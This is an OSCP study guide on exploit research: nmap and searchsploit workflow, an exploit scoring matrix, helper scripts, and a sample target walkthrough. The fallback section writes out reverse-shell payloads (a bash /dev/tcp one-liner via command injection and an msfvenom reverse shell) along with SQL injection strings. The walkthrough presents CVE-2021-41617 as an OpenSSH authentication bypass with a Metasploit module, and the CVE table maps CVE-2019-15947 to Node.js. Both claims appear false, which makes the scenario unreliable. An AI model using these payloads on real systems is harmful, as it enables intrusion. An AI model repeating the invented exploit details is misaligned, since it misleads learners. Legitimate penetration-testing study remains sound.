Pentest Workflow Integration
1. Exploit Research in the Penetration Testing Lifecycle
Exploit research is not an isolated activity — it is a critical phase within the broader penetration testing lifecycle. Understanding exactly where it fits, and how it connects to upstream and downstream phases, is essential for passing the OSCP exam efficiently.
The Full Lifecycle
Reconnaissance → Scanning → Enumeration → Vulnerability Identification
→ Exploit Research → Exploit Selection → Lab Testing
→ Execution → Post-Exploitation → Documentation
Where Exploit Research Lives
| Phase | Purpose | Output Feeding Exploit Research |
|---|---|---|
| Reconnaissance | Gather passive intel about the target | Domain names, IP ranges, tech stack hints |
| Scanning | Discover live hosts and open ports | Port list, service versions, OS fingerprints |
| Enumeration | Extract detailed service information | Banner grabs, directory listings, user accounts, SMB shares, web app details |
| Vulnerability Identification | Map findings to known weaknesses | CVE IDs, misconfigurations, outdated software |
| Exploit Research | Find working exploits for identified vulns | Exploit candidates with source URLs |
| Exploit Selection | Choose the best exploit to attempt | Ranked list of exploits to try |
| Lab Testing | Validate exploit in a safe environment | Confirmed working exploit (or reasons for failure) |
| Execution | Deploy exploit against the target | Shell / access |
| Post-Exploitation | Maintain access, escalate privileges, pivot | Domain admin, proof.txt |
| Documentation | Record methodology and findings | Report |
Key Insight for OSCP
Exploit research begins as soon as you have a confirmed service version. Do not wait until you have enumerated everything. If you discover
Apache Struts 2.5.10during enumeration, start searching for exploits immediately while you continue enumerating other services in parallel. This parallelism is what separates efficient testers from those who run out of time.
2. Systematic Step-by-Step Methodology
Follow this 8-step process every time you identify a potential vulnerability. Consistency reduces mistakes and saves time under exam pressure.
Step 1: Service Identification and Version Pinning
Goal: Confirm the exact service name, version, and running platform.
Tools: nmap, whatweb, curl, manual banner grabs
# Nmap with version detection and script scanning
nmap -sV -sC -p- --min-rate 1000 10.10.10.1
# Web technology detection
whatweb http://10.10.10.1
# Manual banner grab for non-standard services
nc -nv 10.10.10.1 8080
Expected Output: A confirmed string like Apache httpd 2.4.49 on Ubuntu 20.04
Step 2: Vulnerability Mapping
Goal: Map the identified service/version to known CVEs and weaknesses.
Tools: searchsploit, sploitus.com, exploit-db.com, cvedetails.com
# SearchSploit with version filtering
searchsploit -m "Apache httpd 2.4.49"
# Search with wildcard for broader results
searchsploit "Apache httpd" | grep "2.4"
Expected Output: List of CVEs and associated exploit IDs (e.g., CVE-2021-41773, EDB-ID 50383)
Step 3: Exploit Source Discovery
Goal: Locate actual exploit code from multiple sources.
Sources (in priority order for OSCP):
- Exploit-DB (
exploit-db.com) — Primary source, matches SearchSploit - GitHub — Search for CVE number + “exploit”
- Sploitus (
sploitus.com) — Aggregator with additional metadata - Packet Storm (
packetstormsecurity.com) — Alternative source - Metasploit (
msfconsole) — Check if a module already exists
# Check Metasploit for existing modules
msfconsole
msf6 > search apache path_traversal
msf6 > use exploit/multi/http/apache_24_path_traversal_rce
msf6 > show options
Expected Output: At least 2-3 exploit sources for cross-reference
Step 4: Exploit Code Acquisition
Goal: Download or copy the exploit code to your working directory.
# Using SearchSploit to copy directly
searchsploit -m 50383.py
# File copied to: /tmp/50383.py
# Using curl from GitHub
curl -o apache_rce.py https://raw.githubusercontent.com/user/repo/exploit.py
# Organize your workspace
mkdir -p ~/oscp/targets/10.10.10.1/exploits/
cp /tmp/50383.py ~/oscp/targets/10.10.10.1/exploits/
Expected Output: Exploit file saved in organized directory structure
Step 5: Exploit Analysis
Goal: Read and understand the exploit before running it.
Checklist:
- What vulnerability does it exploit? (Read the header comments)
- What are the prerequisites? (Specific version, configuration?)
- What parameters does it need? (URL, port, authentication?)
- What is the payload type? (Reverse shell, bind shell, command execution?)
- What language is it written in? (Python, Ruby, Bash?)
- Are there dependencies? (Specific libraries, tools?)
# Read the exploit header
head -50 apache_rce.py
# Check for Python dependencies
grep -E "^import|^from" apache_rce.py
Expected Output: Clear understanding of what the exploit does and what it needs
Step 6: Environment Preparation
Goal: Set up the environment for exploit execution.
# Install missing Python dependencies
pip3 install requests
# Set up listener
nc -lvnp 4443
# Configure the exploit
# Edit the target IP, port, and LHOST in the exploit script
nano apache_rce.py
Expected Output: Listener ready, exploit configured with correct parameters
Step 7: Lab Testing (If Possible)
Goal: Test the exploit in a safe environment before targeting the exam machine.
# If you have a vulnerable VM locally
python3 apache_rce.py --target 192.168.1.50 --lhost 192.168.1.10 --lport 4443
# Test against the actual target (OSCP allows this)
python3 apache_rce.py --target 10.10.10.1 --lhost 10.10.14.5 --lport 4443
Expected Output: Successful shell or clear error message for debugging
Step 8: Execution and Post-Exploitation
Goal: Execute the exploit and stabilize the shell.
# Run the exploit
python3 apache_rce.py --target 10.10.10.1 --lhost 10.10.14.5 --lport 4443
# Stabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Or
script -qc /bin/bash /dev/null
# Background and upgrade
Ctrl+Z
stty raw -echo
fg
export TERM=xterm-256color
Expected Output: Stable interactive shell on the target
3. Decision-Making Framework for Exploit Selection
When you have multiple exploit candidates, use this framework to decide which one to try first.
Exploit Selection Criteria
| Criterion | Questions to Ask | Weight |
|---|---|---|
| Reliability | Does it have a known success rate? Are there success reports? | 30% |
| Version Match | Does the exploit target the EXACT version running on the target? | 25% |
| Ease of Use | Is it a simple script with clear instructions, or complex with many dependencies? | 20% |
| Documentation | Are there write-ups, blog posts, or comments explaining usage? | 15% |
| Community Feedback | Have others confirmed it works? Any GitHub stars/issues? | 10% |
Reliability Indicators
High Reliability (Try First):
- Metasploit module with
ExcellentorGoodreliability rating - Exploit with multiple confirmed successful uses documented
- Vendor-patched vulnerability with a clean PoC
Medium Reliability (Try Second):
- Single-author PoC with no community validation
- Exploit requiring specific configuration conditions
- Older exploits (pre-2020) that may need modification
Low Reliability (Try Last):
- Theoretical exploits with no working PoC
- Exploits requiring heap spraying or memory corruption (unreliable)
- Exploits with known crashes or instability
Ease of Use Assessment
Tier 1 (Easiest): Metasploit module — just set RHOSTS and exploit
Tier 2: Single Python/Ruby script — configure variables and run
Tier 3: Requires compilation (C/C++) — compile, then configure
Tier 4: Multi-step process — generate payload, upload, execute separately
Tier 5 (Hardest): Requires manual adaptation — significant modification needed
When to Pivot
Move to the next target or vulnerability when:
- You have tried 3+ exploits for the same vulnerability without success
- The exploit consistently crashes or fails to connect
- You have spent more than 30 minutes on a single exploit without progress
- You discover a new, easier vulnerability on another service
4. Scoring System: Weighted Scoring Matrix
Use this scoring matrix to objectively rank exploit candidates. Score each criterion from 1-5, multiply by weight, and sum.
Scoring Scale
| Score | Meaning |
|---|---|
| 5 | Excellent — perfect match, well-documented, proven reliable |
| 4 | Good — minor adjustments needed, mostly reliable |
| 3 | Fair — requires modification, uncertain reliability |
| 2 | Poor — significant work needed, low success probability |
| 1 | Bad — theoretical only, major obstacles |
Example Scoring
Exploit A: Metasploit module for CVE-2021-41773
├── Reliability (30%): 5 × 0.30 = 1.50
├── Version Match (25%): 5 × 0.25 = 1.25
├── Ease of Use (20%): 5 × 0.20 = 1.00
├── Documentation (15%): 4 × 0.15 = 0.60
└── Community Feedback (10%): 4 × 0.10 = 0.40
─────────────────────────────────
TOTAL: 4.75 / 5.00 ← TRY FIRST
Exploit B: GitHub PoC for CVE-2021-41773
├── Reliability (30%): 3 × 0.30 = 0.90
├── Version Match (25%): 5 × 0.25 = 1.25
├── Ease of Use (20%): 3 × 0.20 = 0.60
├── Documentation (15%): 3 × 0.15 = 0.45
└── Community Feedback (10%): 2 × 0.10 = 0.20
─────────────────────────────────
TOTAL: 3.40 / 5.00 ← TRY SECOND
Exploit C: Theoretical advisory, no PoC
├── Reliability (30%): 1 × 0.30 = 0.30
├── Version Match (25%): 4 × 0.25 = 1.00
├── Ease of Use (20%): 1 × 0.20 = 0.20
├── Documentation (15%): 2 × 0.15 = 0.30
└── Community Feedback (10%): 1 × 0.10 = 0.10
─────────────────────────────────
TOTAL: 1.90 / 5.00 ← SKIP
Quick Decision Rule
- Score ≥ 4.0: Try immediately
- Score 3.0 - 3.9: Try if no higher-scored options exist
- Score < 3.0: Skip unless you have exhausted all other options
5. Integration with Nmap
Nmap is your primary reconnaissance tool. Learn to use it not just for port scanning, but as a vulnerability discovery engine that directly feeds your exploit research pipeline.
Vulnerability Detection Scripts
# Comprehensive vulnerability scan
nmap -sV -sC --script vuln -p- 10.10.10.1
# Targeted script categories
nmap --script http-vuln-cve2017-5638 10.10.10.1 # Apache Struts
nmap --script http-shellshock 10.10.10.1 # Shellshock
nmap --script smb-vuln-ms17-010 10.10.10.1 # EternalBlue
nmap --script ssl-heartbleed 10.10.10.1 # Heartbleed
# Auth and credential scripts
nmap --script http-auth-finder 10.10.10.1
nmap --script smb-enum-shares 10.10.10.1
Mapping Nmap Output to Exploits
Create a mental (or actual) mapping table:
| Nmap Finding | CVE | SearchSploit Query | Exploit Path |
|---|---|---|---|
Apache httpd 2.4.49 |
CVE-2021-41773 | searchsploit Apache 2.4.49 |
50383.py |
Microsoft Windows SMB MS17-010 VULNERABLE |
CVE-2017-0144 | searchsploit MS17-010 |
43950.py |
Apache Struts 2.3.31 |
CVE-2017-5638 | searchsploit Struts 2.3.31 |
44142.py |
OpenSSH 7.4 |
CVE-2019-6111 | searchsploit OpenSSH 7.4 |
47182.py |
Node.js 10.15.0 |
CVE-2019-15947 | searchsploit Node.js 10.15 |
48135.py |
Automated Nmap-to-Exploit Workflow
# Step 1: Scan and save results
nmap -sV -sC -p- -oN scan_results.txt 10.10.10.1
# Step 2: Extract service versions
grep -E "^[0-9]+/[a-z]" scan_results.txt | awk '{print $3, $4}'
# Step 3: For each service, search for exploits
# Example: Apache 2.4.49
searchsploit "Apache httpd 2.4.49"
6. Integration with Nessus and OpenVAS
Vulnerability scanners provide structured, CVE-mapped findings that accelerate exploit research.
Correlating Scanner Findings with Exploits
Nessus Finding: Apache Path Traversal and Remote Code Execution (CVE-2021-41773)
Plugin ID: 154328
Risk: Critical
CVSS: 9.8
└──> Search: searchsploit CVE-2021-41773
└──> Results: 50383.py, 50384.sh, 50416.py
└──> Score each exploit using the matrix above
└──> Select highest-scoring exploit
OpenVAS / Greenbone Integration
# Export OpenVAS results to XML/HTML
# Search for CVE IDs in the report
# Cross-reference with Exploit-DB
# Example: Finding CVE in OpenVAS report
grep -i "CVE-" report.html | grep -i "high\|critical"
Scanner Limitations for OSCP
Important: Nessus and OpenVAS are NOT available during the OSCP exam. However, understanding their output format helps you interpret vulnerability reports and practice correlating findings with exploits. During the exam, you must manually perform the correlation that these scanners automate.
Manual Correlation Checklist
When you cannot use a scanner, manually check:
- Service version matches exploit requirements exactly
- CVE has a known working exploit (check Exploit-DB)
- Exploit has been confirmed working (check GitHub issues, blogs)
- No patches or mitigations are in place on the target
- Network access to the vulnerable service is confirmed
7. Automated Workflow Scripts
These scripts automate the exploit research pipeline, saving valuable time during the exam.
Bash: Automated Exploit Research Pipeline
#!/bin/bash
# exploit_research.sh - Automated exploit research pipeline
# Usage: ./exploit_research.sh <target_ip> [service_name]
TARGET_IP="${1:?Usage: $0 <target_ip> [service_name]}"
SERVICE="${2:-}"
WORKDIR="~/oscp/targets/${TARGET_IP}"
EXPLOIT_DIR="${WORKDIR}/exploits"
LOG_FILE="${WORKDIR}/research.log"
# Create working directory
mkdir -p "${EXPLOIT_DIR}"
log() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" | tee -a "${LOG_FILE}"
}
log "=== Exploit Research Pipeline ==="
log "Target: ${TARGET_IP}"
# Step 1: Quick Nmap scan
log "[*] Running quick Nmap scan..."
nmap -sV -sC -p- --min-rate 1000 -oN "${WORKDIR}/nmap_quick.txt" "${TARGET_IP}" 2>/dev/null
# Step 2: Extract services
log "[*] Extracting service versions..."
SERVICES=$(grep -E "^[0-9]+/open" "${WORKDIR}/nmap_quick.txt" | awk '{print $3, $4}' | sort -u)
if [ -z "${SERVICES}" ]; then
log "[!] No services found. Check network connectivity."
exit 1
fi
# Step 3: Search for exploits per service
log "[*] Searching for exploits..."
echo "${SERVICES}" | while read -r SERVICE_NAME SERVICE_VERSION; do
if [ -n "${SERVICE}" ] && [[ "${SERVICE_NAME}" != *"${SERVICE}"* ]]; then
continue
fi
log " [+] Service: ${SERVICE_NAME} ${SERVICE_VERSION}"
RESULTS=$(searchsploit "${SERVICE_NAME} ${SERVICE_VERSION}" 2>/dev/null)
if [ -n "${RESULTS}" ]; then
log " Found exploits:"
echo "${RESULTS}" | while read -r line; do
log " ${line}"
done
# Copy exploits to working directory
EXPLOIT_IDS=$(echo "${RESULTS}" | grep -oP '\d+(?= \|\s+\(remote\)| \|\s+\(local\))' | head -5)
for ID in ${EXPLOIT_IDS}; do
searchsploit -m "${ID}" >/dev/null 2>&1
cp "/tmp/${ID}."* "${EXPLOIT_DIR}/" 2>/dev/null
log " Copied exploit ${ID}"
done
else
log " No exploits found for exact version"
# Try broader search
BROAD=$(searchsploit "${SERVICE_NAME}" 2>/dev/null | head -10)
if [ -n "${BROAD}" ]; then
log " Broad search results (may need adaptation):"
echo "${BROAD}" | while read -r line; do
log " ${line}"
done
fi
fi
done
# Step 4: Check Metasploit
log "[*] Checking Metasploit modules..."
if [ -n "${SERVICE}" ]; then
msfconsole -q -x "search ${SERVICE}; exit" 2>/dev/null | tee -a "${LOG_FILE}"
fi
# Step 5: Generate summary
log "[*] Research complete. Files in: ${EXPLOIT_DIR}"
log "[*] Review exploits and score them using the scoring matrix."
ls -la "${EXPLOIT_DIR}/" 2>/dev/null | tee -a "${LOG_FILE}"
Python: Exploit Scoring Assistant
#!/usr/bin/env python3
"""
exploit_scorer.py - Score and rank exploit candidates
Usage: python3 exploit_scorer.py
"""
import json
import sys
def score_exploit(name, reliability, version_match, ease_of_use, documentation, community):
"""Calculate weighted score for an exploit."""
weights = {
'reliability': 0.30,
'version_match': 0.25,
'ease_of_use': 0.20,
'documentation': 0.15,
'community': 0.10,
}
scores = {
'reliability': reliability,
'version_match': version_match,
'ease_of_use': ease_of_use,
'documentation': documentation,
'community': community,
}
total = sum(scores[k] * weights[k] for k in weights)
return round(total, 2)
def main():
print("=" * 60)
print(" EXPLOIT SCORING ASSISTANT")
print("=" * 60)
print()
print("Score each criterion from 1-5:")
print(" 5 = Excellent | 4 = Good | 3 = Fair")
print(" 2 = Poor | 1 = Bad")
print()
exploits = []
while True:
name = input("Exploit name/ID (or 'done' to finish): ").strip()
if name.lower() == 'done':
break
try:
rel = int(input(" Reliability (1-5): "))
ver = int(input(" Version Match (1-5): "))
ease = int(input(" Ease of Use (1-5): "))
doc = int(input(" Documentation (1-5): "))
com = int(input(" Community Feedback (1-5): "))
total = score_exploit(name, rel, ver, ease, doc, com)
exploits.append({'name': name, 'score': total})
print(f" -> Score: {total}/5.00")
print()
except ValueError:
print(" [!] Invalid input. Please enter numbers 1-5.")
print()
# Sort and display results
exploits.sort(key=lambda x: x['score'], reverse=True)
print("=" * 60)
print(" RANKED RESULTS")
print("=" * 60)
for i, exp in enumerate(exploits, 1):
priority = "TRY FIRST" if i == 1 else f"Option {i}"
print(f" {i}. {exp['name']} — Score: {exp['score']}/5.00 [{priority}]")
if exploits:
print()
print(f" Recommendation: Start with '{exploits[0]['name']}'")
if __name__ == '__main__':
main()
Python: Nmap Result Parser to Exploit Candidates
#!/usr/bin/env python3
"""
nmap_to_exploits.py - Parse Nmap output and suggest exploit searches
Usage: python3 nmap_to_exploits.py <nmap_output_file>
"""
import re
import subprocess
import sys
def parse_nmap(filepath):
"""Parse Nmap -sV output and extract service information."""
services = []
with open(filepath, 'r') as f:
for line in f:
# Match lines like: 80/tcp open http Apache httpd 2.4.49
match = re.match(r'^(\d+)/\w+\s+open\s+(\S+)\s+(.+)$', line.strip())
if match:
port = match.group(1)
service = match.group(2)
version = match.group(3).strip()
services.append({
'port': port,
'service': service,
'version': version,
})
return services
def search_exploits(service_info):
"""Search SearchSploit for each service."""
query = f"{service_info['service']} {service_info['version']}"
try:
result = subprocess.run(
['searchsploit', query],
capture_output=True, text=True, timeout=30
)
return result.stdout.strip()
except (subprocess.TimeoutExpired, FileNotFoundError):
return ""
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <nmap_output_file>")
sys.exit(1)
services = parse_nmap(sys.argv[1])
if not services:
print("[!] No services found in Nmap output.")
sys.exit(1)
print(f"Found {len(services)} services. Searching for exploits...\n")
for svc in services:
print(f"Port {svc['port']}: {svc['service']} {svc['version']}")
results = search_exploits(svc)
if results:
print(f" Exploits found:")
for line in results.split('\n')[:5]: # Show top 5
print(f" {line}")
else:
print(f" No exact exploits found. Try broader search.")
print()
if __name__ == '__main__':
main()
8. Time Management During OSCP
The OSCP exam gives you 23-24 hours to compromise multiple machines. Efficient exploit research is critical.
Time Budget Per Machine
| Phase | Recommended Time | Maximum Time |
|---|---|---|
| Initial Nmap scan | 5-10 minutes | 15 minutes |
| Enumeration (all services) | 30-60 minutes | 90 minutes |
| Exploit research per vulnerability | 10-15 minutes | 20 minutes |
| Exploit testing per candidate | 5-10 minutes | 15 minutes |
| Post-exploitation | 15-30 minutes | 45 minutes |
| Documentation | 10-15 minutes | 20 minutes |
Time Pressure Decision Tree
Is the exploit working?
├── YES → Stabilize shell, proceed to post-exploitation
└── NO
├── Have you tried 3+ exploits for this vuln?
│ ├── YES → Move to next vulnerability or machine
│ └── NO → Try next exploit candidate
├── Have you spent >30 minutes on this exploit?
│ ├── YES → Take notes, move on, return later
│ └── NO → Debug: check version match, dependencies, syntax
└── Is there an easier vulnerability available?
├── YES → Pivot to the easier target
└── NO → Continue debugging or try manual exploitation
Parallel Research Technique
Terminal 1: Nmap scanning Machine B while waiting for Machine A exploit
Terminal 2: Reading exploit code for Machine A
Terminal 3: Setting up listener for Machine A
Terminal 4: Enumerating web app on Machine A (Dirb/Gobuster)
The 15-Minute Rule
If an exploit has not produced results within 15 minutes of active work (not including reading time), either:
- Switch to a different exploit for the same vulnerability
- Switch to a different vulnerability on the same machine
- Switch to a different machine entirely
Document what you tried so you can return later with fresh eyes.
9. Fallback Strategies
Not every vulnerability has a ready-made exploit. Here is what to do when public exploits are unavailable.
Strategy 1: Combine Multiple Vulnerabilities
Sometimes no single vulnerability is exploitable, but a chain of weaknesses leads to access.
Example Chain:
1. Information disclosure → reveals internal admin panel URL
2. Default credentials on admin panel → login
3. File upload vulnerability → upload web shell
4. Web shell → initial access
Strategy 2: Manual Exploitation
When no exploit exists, manually exploit the vulnerability:
Buffer Overflow (Manual):
# Step 1: Find crash point
python3 -c "print(b'A' * 2000)" | nc 10.10.10.1 1337
# Step 2: Find offset with pattern_create/pattern_offset
pattern_create.rb -l 2000
pattern_offset.rb -q <EIP_value>
# Step 3: Control EIP
python3 -c "print(b'A' * <offset> + b'\x41\x41\x41\x41')"
# Step 4: Find bad characters
# Step 5: Find JMP ESP address
# Step 6: Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f python
# Step 7: Build final exploit
SQL Injection (Manual):
# Union-based
' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users-- -
# Boolean-based blind
' OR 1=1-- -
' AND SUBSTRING(password,1,1)='a'-- -
# Time-based blind
'; WAITFOR DELAY '0:0:5'-- -
Command Injection (Manual):
# Test for command injection
; whoami
| whoami
`whoami`
$(whoami)
# Chain to reverse shell
; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4443 0>&1'
Strategy 3: Misconfiguration Exploitation
Many OSCP machines are compromised through misconfigurations rather than CVE exploits:
| Misconfiguration | Exploitation |
|---|---|
| FTP anonymous login | Upload malicious files, read sensitive data |
| SMB null session | Enumerate shares, users, and groups |
| Web directory listing | Download backup files, config files, credentials |
| Default credentials | Login to admin panels, databases, services |
| Exposed .git directory | Download source code, find credentials |
| SSRF | Access internal services, cloud metadata |
| Insecure deserialization | Remote code execution |
Strategy 4: Privilege Escalation as Initial Access
Sometimes the “initial access” is actually a low-privilege account obtained through:
- Credential reuse from other machines
- SSH key found in a web directory
- Database credentials found in config files
- Password spraying with common passwords
10. Real OSCP Scenario Walkthrough
Scenario: Compromising a Multi-Service Target
Target: 10.10.10.50
Phase 1: Reconnaissance and Scanning (Minutes 0-10)
# Quick port scan
nmap -sV -sC -p- --min-rate 1000 -oN nmap_full.txt 10.10.10.50
# Results:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
# 80/tcp open http Apache httpd 2.4.41
# 3306/tcp open mysql MySQL 8.0.27
Phase 2: Enumeration (Minutes 10-40)
# Web enumeration
dirb http://10.10.10.50 /usr/share/wordlists/dirb/common.txt
# Found: /admin, /backup, /phpmyadmin
# Check /backup
curl http://10.10.10.50/backup/
# Found: database.sql, config.php.bak
# Download config.php.bak
curl -O http://10.10.10.50/backup/config.php.bak
cat config.php.bak
# Found: DB credentials: root:Sup3rS3cur3P@ss!
# Try MySQL
mysql -h 10.10.10.50 -u root -p'Sup3rS3cur3P@ss!'
# Access granted!
Phase 3: Vulnerability Identification (Minutes 40-50)
Findings:
1. Apache 2.4.41 — Check for CVEs
2. MySQL accessible with root credentials — Check for UDF/file read
3. OpenSSH 8.2p1 — Check for authentication bypass
4. Exposed backup directory — Information disclosure
Phase 4: Exploit Research (Minutes 50-65)
# Search for Apache 2.4.41 exploits
searchsploit "Apache httpd 2.4.41"
# No direct exploits found for this version
# Search for MySQL UDF exploits
searchsploit "MySQL UDF"
# Found: multiple UDF privilege escalation exploits
# Check if we can read/write files via MySQL
# (We have root access — this is promising)
# Search for SSH exploits as backup
searchsploit "OpenSSH 8.2"
# CVE-2021-41617 — OpenSSH < 8.5 — Authentication bypass
# EDB-ID: 50620
Phase 5: Exploit Selection and Scoring (Minutes 65-70)
Option A: MySQL UDF for privilege escalation
├── Reliability: 4 (well-known technique)
├── Version Match: 4 (MySQL 8.0, UDF may need compilation)
├── Ease of Use: 3 (requires compilation and SQL commands)
├── Documentation: 4 (many write-ups exist)
└── Community: 4 (commonly used)
TOTAL: 3.75 / 5.00
Option B: CVE-2021-41617 SSH Authentication Bypass
├── Reliability: 5 (Metasploit module exists)
├── Version Match: 5 (OpenSSH 8.2 < 8.5, exact match)
├── Ease of Use: 5 (Metasploit — set and exploit)
├── Documentation: 5 (extensive coverage)
└── Community: 5 (widely confirmed)
TOTAL: 5.00 / 5.00 ← CLEAR WINNER
Phase 6: Execution (Minutes 70-80)
# Use Metasploit for CVE-2021-41617
msfconsole
msf6 > use exploit/unix/ssh/openssh_mac_auth_bypass
msf6 > set RHOSTS 10.10.10.50
msf6 > set USERNAME root
msf6 > set PROXY_TYPE none
msf6 > run
# Alternative: Manual exploit
# Download and run the Python exploit
python3 50620.py -h 10.10.10.50 -u root
Phase 7: Post-Exploitation (Minutes 80-100)
# Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Proof collection
cat /home/*/.ssh/authorized_keys
cat /etc/passwd
whoami
id
hostname
# Look for user.txt and root.txt
find / -name "*.txt" -type f 2>/dev/null
find / -name "proof*" -type f 2>/dev/null
# Privilege escalation check
sudo -l
linpeas.sh
Phase 8: Documentation (Minutes 100-115)
## Target: 10.10.10.50
### Initial Access
- **Method:** CVE-2021-41617 — OpenSSH Authentication Bypass
- **Service:** OpenSSH 8.2p1 (Port 22)
- **Exploit:** Metasploit module `exploit/unix/ssh/openssh_mac_auth_bypass`
- **Result:** Root shell
### Enumeration Findings
- Port 22: OpenSSH 8.2p1
- Port 80: Apache httpd 2.4.41
- Port 3306: MySQL 8.0.27
- Backup directory exposed at /backup/
- Database credentials found in config.php.bak
### Alternative Access Paths
- MySQL root access via credentials from backup file
- Could have used MySQL UDF for privilege escalation (not attempted)
Summary Checklist
Before starting exploit research on any OSCP machine, ensure you have:
- Completed full port scan with version detection
- Enumerated all open services thoroughly
- Mapped each service to known CVEs
- Searched Exploit-DB for each vulnerability
- Checked Metasploit for existing modules
- Scored and ranked exploit candidates
- Read and understood the selected exploit
- Set up listener before running the exploit
- Documented the research process
- Prepared fallback strategies
Quick Reference Card
┌─────────────────────────────────────────────────────────┐
│ EXPLOIT RESEARCH QUICK REF │
├─────────────────────────────────────────────────────────┤
│ 1. nmap -sV -sC -p- <IP> │
│ 2. searchsploit "<service> <version>" │
│ 3. searchsploit -m <EDB-ID> │
│ 4. Read exploit header (head -50) │
│ 5. Score: Reliability(30%) + Version(25%) + │
│ Ease(20%) + Docs(15%) + Community(10%) │
│ 6. nc -lvnp 4443 (listener) │
│ 7. Run exploit │
│ 8. python3 -c 'import pty; pty.spawn("/bin/bash")' │
│ │
│ TIME LIMITS: │
│ • 15 min per exploit attempt │
│ • 30 min per vulnerability │
│ • 3 exploits max per vuln before pivoting │
└─────────────────────────────────────────────────────────┘
Key Takeaways
- Exploit research is a phase, not an afterthought. Begin as soon as you have a confirmed service version.
- Use the scoring system to make objective decisions about which exploit to try first.
- Parallelize your work. Scan one machine while researching exploits for another.
- The 15-minute rule saves lives. Do not get stuck on a single exploit.
- Fallback strategies are essential. Not every machine has a one-click exploit.
- Document everything. Your report is 30% of your grade.
- Metasploit is your friend for reliable, well-documented exploits — but know how to use standalone scripts too.
- Practice the full workflow repeatedly before the exam until it becomes muscle memory.